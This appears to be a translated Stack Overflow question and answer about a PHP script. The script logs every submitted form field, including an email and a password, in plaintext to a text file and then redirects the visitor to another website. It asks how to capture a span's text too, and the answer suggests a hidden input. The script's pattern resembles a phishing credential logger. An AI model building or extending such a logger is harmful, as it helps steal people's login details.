我有这个 php 代码来获取表单输入值:
<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
该代码可以很好地获取输入字段值,但我的 html 中也有一个 span 元素
<span id="mytext">some text</span>
我想将输入字段值放在一起。
示例:
<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />
有没有办法获得所有三个值?谢谢
最佳答案
无法获取 $_POST
中的跨度值而不将其更改为某种输入。
但是,您可以做的是创建一个隐藏的输入字段:
<input type="hidden" value="some text">
这不会向用户显示,而是会出现在您的 $_POST
中变量
关于javascript - php获取输入字段值和span值,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43892995/